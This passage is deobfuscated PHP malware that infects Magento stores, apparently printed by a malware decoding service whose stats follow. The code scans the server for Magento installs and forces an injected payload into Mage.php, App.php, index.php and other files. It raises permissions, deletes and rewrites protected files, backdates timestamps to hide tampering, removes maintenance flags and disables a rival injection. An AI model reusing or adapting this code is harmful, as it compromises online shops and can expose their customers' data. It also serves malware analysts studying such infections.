$line = trim(fgets($fp), "\r\n");
$lines[] = $line;
}
}
fclose($fp);
$start_comment = false;
$end_comment = true;
$end_comment_quick = false;
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if (preg_match("#^/\*.*$#", $line)) {
$start_comment = true;
$end_comment = false;
$end_comment_quick = false;
continue;
}
if ($end_comment_quick) {
if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
return true;
}
}
if (preg_match("#^\*/$#", $line)) {
$start_comment = false;
$end_comment = true;
$end_comment_quick = true;
continue;
}
$end_comment_quick = false;
if ($start_comment) {
continue;
}
if (!$line)
continue;
return false;
}
return false;
}
function modify_file($filepath, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
$line = trim(fgets($fp), "\r\n");
$lines[] = $line;
}
}
fclose($fp);
if (!$lines)
return -1;
$start_comment = false;
$end_comment = true;
$end_comment_quick = false;
$end_index = -1;
$comment_indexes = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if (preg_match("#^/\*.*$#", $line)) {
$start_comment = true;
$end_comment = false;
$end_comment_quick = false;
continue;
}
if ($end_comment_quick) {
if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
return 2;
}
}
if (preg_match("#^\*/$#", $line)) {
$start_comment = false;
$end_comment = true;
$end_comment_quick = true;
continue;
}
$end_comment_quick = false;
//
if ($start_comment) {
$comment_indexes[] = $i;
continue;
}
if (!$line)
continue;
$end_index = $i;
break;
}
if ($end_index <= 5) {
return 0;
}
$updated_lines = insert_line($lines, TREX_CODE, $comment_indexes);
$dt = implode("\r\n", $updated_lines);
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $dt, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0644);
}
}
return 1;
}
function find_and_write($target, $force = false) {
if (check_before_modify($target))
return array($target, 2);
$statuscode = modify_file($target, $force);
return array($target, $statuscode);
}
function find_and_write_list($d, $list) {
$r = false;
foreach ($list as $target) {
$r = find_and_write($d . $target, false);
$statuscode = $r[1];
if ($statuscode > 0)
return $r;
}
foreach ($list as $target) {
$r = find_and_write($d . $target, true);
$statuscode = $r[1];
if ($statuscode > 0)
return $r;
}
return $r;
}
function insert_mage($filepath, $code, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$content = file_get_contents($filepath);
if (!$content)
return -1;
if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
return 2;
}
$cnt_r = substr_count($content, "\r");
if (!preg_match("#\n(\s+)Varien_Profiler::stop\('mage'\);#", $content, $match)) {
return -2;
}
$spaces = $match[1];
$profiler = $match[0];
$lines = explode("\n", $code);
$lines2 = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = rtrim($lines[$i]);
$lines2[] = $spaces . $line;
}
$content2 = $content;
if ($cnt_r) {
$content2 = str_replace("\r\n", "\n", $content2);
$content2 = str_replace("\n", "\r\n", $content2);
}
$code2 = $cnt_r ? implode("\r\n", $lines2) : implode("\n", $lines2);
$content2 = str_replace($profiler, $profiler . "\r\n" . $code2, $content2);
if (substr_count($content2, "echo file_get_contents(base64_decode")) {
$content2 = str_replace("echo file_get_contents(base64_decode", "if(0)echo file_get_contents(base64_decode", $content2);
}
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $content2, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0644);
}
}
return 1;
}
function insert_app($filepath, $code, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
$line = trim(fgets($fp), "\r\n");
$lines[] = $line;
}
}
fclose($fp);
if (!$lines)
return -1;
$content = implode("\r\n", $lines);
if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
return 2;
}
$tmp_index = 0;
$line_index = 0;
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if ((substr_count($line, "public function run(")) && (!strpos($line, "public function run("))) {
$tmp_index = $i;
continue;
}
if ($tmp_index > 0) {
if ($line == 'return $this;') {
$line_index = $i;
break;
}
}
}
if (!$line_index) {
return -2;
}
$line = $lines[$line_index];
if (!preg_match("#^(\s+)\S+#", $line, $match)) {
return -2;
}
$spaces = $match[1];
$clines = explode("\n", $code);
$clines2 = array();
for ($i = 0; $i < sizeof($clines); $i++) {
$line = rtrim($clines[$i]);
$clines2[] = $spaces . $line;
}
$lines2 = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = $lines[$i];
if ($i == $line_index) {
for ($j = 0; $j < sizeof($clines2); $j++) {
$lines2[] = $clines2[$j];
}
};
$lines2[] = $line;
}
$content2 = implode("\r\n", $lines2);
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $content2, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0644);
}
}
return 1;
}
function insert_index_nosafe($filepath, $code, $force = false) {
$perms = 0777 & fileperms($filepath);
$update_perms = false;
if ((!is_readable($filepath)) || (!is_writable($filepath))) {
$update_perms = true;
@chmod($filepath, 0777);
}
if (!is_readable($filepath))
return 0;
if ((!is_writable($filepath)) && (!$force))
return 0;
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
$line = trim(fgets($fp), "\r\n");
$lines[] = $line;
}
}
fclose($fp);
if (!$lines)
return -1;
$content = implode("\r\n", $lines);
if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
return 2;
}
if (!substr_count($content, 'Mage::run($mageRunCode, $mageRunType);')) {
return -2;
}
$line_index = 0;
for ($i = 0; $i < sizeof($lines); $i++) {
$line = trim($lines[$i]);
$line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
$line = preg_replace("#/\*.*?\*/#", "", $line);
$line = trim($line);
if ($line == 'Mage::run($mageRunCode, $mageRunType);') {
$line_index = $i;
break;
}
}
if (!$line_index) {
return -2;
}
$clines = explode("\n", $code);
$clines2 = array();
for ($i = 0; $i < sizeof($clines); $i++) {
$line = rtrim($clines[$i]);
$clines2[] = $line;
}
$lines2 = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = $lines[$i];
$lines2[] = $line;
if ($i == $line_index) {
for ($j = 0; $j < sizeof($clines2); $j++) {
$lines2[] = $clines2[$j];
}
};
}
$content2 = implode("\r\n", $lines2);
if (($force) && (!is_writable($filepath))) {
@unlink($filepath);
if (file_exists($filepath))
return 0;
}
file_put_contents($filepath, $content2, LOCK_EX);
set_min_date($filepath);
if ($update_perms) {
if ($perms >= 64) {
chmod($filepath, $perms);
} else {
chmod($filepath, 0755);
}
}
return 1;
}
function insert_index($filepath, $code, $force = false) {
$r = insert_index_nosafe($filepath, $code, $force);
@chmod($filepath, 0755);
return $r;
}
function path_finder() {
$pth = $_SERVER['DOCUMENT_ROOT'];
$d1 = $pth . '/../../..';
$d2 = $pth . '/../..';
$d3 = $pth . '/..';
if (is_readable($d1))
return realpath($d1);
if (is_readable($d2))
return realpath($d2);
if (is_readable($d3))
return realpath($d3);
return $pth;
}
function smartscan($dir) {
if (!is_readable($dir))
return array();
if (function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
$files = array();
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function super_get_url($url, $post = false) {
$options = array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_ENCODING => "",
CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
CURLOPT_AUTOREFERER => true,
CURLOPT_CONNECTTIMEOUT => 120,
CURLOPT_TIMEOUT => 120,
CURLOPT_MAXREDIRS => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
);
if ($post) {
$options[CURLOPT_POST] = 1;
$options[CURLOPT_POSTFIELDS] = $post;
}
$ch = curl_init($url);
curl_setopt_array($ch, $options);
$content = @curl_exec($ch);
return $content;
}
function update_iteration($folder) {
$targets = $GLOBALS['targets'];
$beda_code = $GLOBALS['beda_code'];
$indexFile = $folder . "/index.php";
$mageFile = $folder . "/app/Mage.php";
$appFile = $folder . "/app/code/core/Mage/Core/Model/App.php";
$code = 0;
if (file_exists($mageFile)) {
$code = insert_mage($mageFile, $beda_code);
switch ($code) {
case -2:
echo "[$mageFile] without regex signature; ";
break;
case -1:
echo "[$mageFile] is empty!; ";
break;
case 0:
echo "[$mageFile] is protected!; ";
break;
case 1:
echo "[$mageFile] updated!; ";
break;
case 2:
echo "[$mageFile] contains!; ";
break;
}
if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) {
$code = insert_app($appFile, $beda_code);
switch ($code) {
case -2:
echo "[$appFile] without regex signature; ";
break;
case -1:
echo "[$appFile] is empty!; ";
break;
case 0:
echo "[$appFile] is protected!; ";
break;
case 1:
echo "[$appFile] updated!; ";
break;
case 2:
echo "[$appFile] contains!; ";
break;
}
}
if ((($code == 0) || ($code == -2)) && (file_exists($indexFile))) {
$code = insert_index($indexFile, $beda_code);
switch ($code) {
case -2:
echo "[$indexFile] without regex signature; ";
break;
case -1:
echo "[$indexFile] is empty!; ";
break;
case 0:
echo "[$indexFile] is protected!; ";
break;
case 1:
echo "[$indexFile] updated!; ";
break;
case 2:
echo "[$indexFile] contains!; ";
break;
}
}
if (($code == 0) || ($code == -2)) {
if (file_exists($indexFile)) {
$code = insert_index($indexFile, $beda_code, true);
switch ($code) {
case 1:
echo "[$indexFile] updated_2!; ";
break;
}
}
if (($code == 0) || ($code == -2)) {
$code = insert_mage($mageFile, $beda_code, true);
switch ($code) {
case 1:
echo "[$mageFile] updated_2!; ";
break;
}
}
if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) {
$code = insert_app($appFile, $beda_code, true);
switch ($code) {
case 1:
echo "[$appFile] updated_2!; ";
break;
}
}
}
$update_data = find_and_write_list($folder, $targets);
$editFile = $update_data[0];
switch ($update_data[1]) {
case -1:
echo "[$editFile] empty!; ";
break;
case 0:
echo "[$editFile] comment not exists!; ";
break;
case 1:
echo "[$editFile] updated!; ";
break;
case 2:
echo "[$editFile] contains!; ";
break;
}
}
}
$notning = true;
$dir = path_finder();
$dd = array($dir);
for ($i = 0; $i < 4; $i++) {
$tmp = array();
foreach ($dd as $d) {
$res = smartscan($d);
foreach ($res as $v) {
if ($v == 'maintenance.flag') {
$flag = $d . "/" . $v;
echo " unlink[$flag]; ";
@unlink($flag);
}
if ($v == 'index.php') {
$indexFile = $d . "/index.php";
$mageFile = $d . "/app/Mage.php";
$appFile = $d . "/app/code/core/Mage/Core/Model/App.php";
$code = 0;
if (file_exists($mageFile)) {
$notning = false;
update_iteration($d);
}
} else {
if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
$tmp[] = $d . '/' . $v;
}
}
}
}
$dd = $tmp;
}
$dir = $_SERVER['DOCUMENT_ROOT'];
$dd = array($dir);
if ($notning) {
for ($i = 0; $i < 4; $i++) {
$tmp = array();
foreach ($dd as $d) {
$res = smartscan($d);
foreach ($res as $v) {
if ($v == 'maintenance.flag') {
$flag = $d . "/" . $v;
echo " unlink[$flag]; ";
@unlink($flag);
}
if ($v == 'index.php') {
$mageFile = $d . "/app/Mage.php";
$appFile = $d . "/app/code/core/Mage/Core/Model/App.php";
$code = 0;
if (file_exists($mageFile)) {
$notning = false;
update_iteration($d);
}
} else {
if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
$tmp[] = $d . '/' . $v;
}
}
}
}
$dd = $tmp;
}
}
echo " [Finish!] ";
Function Calls
trim | 2 |
define | 1 |
base64_decode | 1 |
Stats
MD5 | 44034ee7ac2fab1a15a77d85e5e0ccec |
Eval Count | 0 |
Decode Time | 369 ms |